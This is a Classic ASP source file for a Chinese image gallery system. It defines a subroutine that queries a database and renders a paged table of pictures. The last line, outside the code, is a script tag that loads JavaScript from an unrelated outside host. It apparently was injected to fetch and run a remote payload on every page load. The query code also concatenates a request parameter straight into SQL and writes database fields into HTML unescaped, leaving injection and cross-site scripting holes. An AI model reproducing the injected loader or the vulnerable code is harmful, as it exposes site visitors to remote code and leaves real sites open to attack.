showimage.asp

一款有用的图片管理系统

<%
Sub ShowImages(ImageType,ImageClass,ImageWidth,ImageHeight,ImageCol,ImagePage,ImageContent,ShowPage)
	response.Write("<table width='100%' border='0' cellspacing='0' cellpadding='0'>")
	set rs= Server.CreateObject("adodb.recordset")
	if ImageType="rec" then
		sql="SELECT * from title as a,imgbook as b WHERE b.titleID=a.titleID and b.Recomm=True"
		if ImageClass<>"all" then sql=sql&" and a.ClassName='"&ImageClass&"'"
		sql=sql&" order by b.genxing desc,b.ID desc"
	else
		sql="SELECT * FROM title WHERE titleCount<>0"
		if ImageClass<>"all" then sql=sql&" and ClassName='"&ImageClass&"'"
		if ImageType="hot" then
			sql=sql&" order by clickCount desc"
		elseif ImageType="new" then
			sql=sql&" order by updatetime desc"
		elseif ImageType="all" then
			sql=sql&" order by titleName"
		end if
	end if
	rs.pagesize = ImagePage
	rs.cachesize = ImagePage
	rs.open sql,conn,1,1
	ipagecount = rs.pagecount
	If ipagecurrent > ipagecount Then ipagecurrent = ipagecount
	If ipagecurrent < 1 Then ipagecurrent = 1
	if ipagecount=0 then
		response.write "<tr><td align='center'>没有任何符合条件的图片</td></tr>"
	else
		rs.absolutepage = ipagecurrent
		i = 0
		do while not rs.eof and i<ImagePage
			response.Write("<tr>")
			for NextID=1 to ImageCol
			  if rs.eof or rs.bof then exit for
			  if ImageType<>"rec" then
				sqlShow="SELECT photo,click,photoNum  FROM imgbook WHERE titleID="&rs("titleID")&" order by click desc"
				set rsShow=conn.execute(sqlShow)
			  end if%>
			  <td width="(100/<%=ImageCol%>)%"><table width="100%" border="0" cellspacing="0" cellpadding="0">
				<tr> 
				  <td align="center"><table border="0" cellpadding="0" cellspacing="0" style="width: <%=ImageWidth%>">
					  <tr>
						<td style="height: <%=ImageHeight%>" align="center" bgcolor="#EEEEEE" valign="middle">
						<%if not rs.eof then%>
							<a href="search.asp?classname=<%=rs("ClassName")%>&text=<%=rs("titleName")%>" onMouseOver="ShowMsg('<%=rs("Desc")%>','#FFFFFF',150);" onMouseOut="HideMsg();"><script src="showpic.asp?FileName=manage/<%if ImageType="rec" then%><%=rs("photo")%><%else%><%=rsShow(0)%><%end if%>"></script></a>
						<%end if%></td>
					  </tr>
					</table></td><%if ImageContent=1 then%>
				  <td><table border="0" align="center" cellpadding="0" cellspacing="0" style="width: <%=ImageWidth%>">
					  <tr>
					  <%if not rs.eof then%>
						<td bgcolor="#EEEEEE" style="height: <%=ImageHeight%>" valign="top">
						  分类：<%=rs("ClassName")%><br>
						  名称：<%=rs("TitleName")%><br>
						  作者：<%=rs("Photoer")%><br>
						  点击：<%=rs("clickCount")%><br>
						  编号：<%if ImageType="rec" then%><%=rs("PhotoNum")%><%else%><%=rsShow("PhotoNum")%><%end if%>
						  <br>
						  上传：<%=rs("user")%><br>
					  <%else%>
						<td style="height: <%=ImageHeight%>">
					  <%end if%></td>
					  </tr>
					</table></td><%end if%>
				</tr>
				<tr> 
				  <td height="16" align="center">
				  <%if not rs.eof then%>
					  <a href="search.asp?classname=<%=rs("classname")%>&text=<%=rs("titleName")%>" class="black"><%=rs("titleName")%></a>[<font color="#FF0000"><%=rs("titleCount")%></font>张]
				  <%end if%></td>
				  <td>&nbsp;</td>
				</tr>
			  </table></td>
			  <%
			  if ImageType<>"rec" then
				  rsShow.Close()
				  set rsShow=Nothing
  			  end if
			  rs.movenext
			  i=i+1
			next
			response.Write("</tr>")
		loop
		if ShowPage=1 then%>
		<tr> 
			<td height='20' align='center' colspan='4'>
			共找到 <font color="#FF0000"><%=i%></font>/<%=rs.recordcount%>张图片 第<font color="#FF0000"><%=ipagecurrent%></font>/<%=ipagecount%>页 
			<%str="?ShowContent="&ImageType&","&ImageClass&","&ImageWidth&","&ImageHeight&","&ImageCol&","&ImagePage&","&ImageContent&","&ShowPage&"&page="
			if ipagecurrent>1 then
				Response.Write"<a href='"&str&"1' class='red'>首页</a> "
				Response.Write"<a href='"&str&ipagecurrent-1&"' class='red'>上一页</a> "
			end if
			if ipagecount>ipagecurrent then
				Response.Write"<a href='"&str&ipagecurrent+1&"' class='red'>下一页</a> "
				Response.Write" <a href='"&str&ipagecount&"' class='red'>末页</a> "
			end if%>
			</td>
		</tr>
		<%end if
		rsclose
	end if
	response.Write("</table>")
End Sub
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>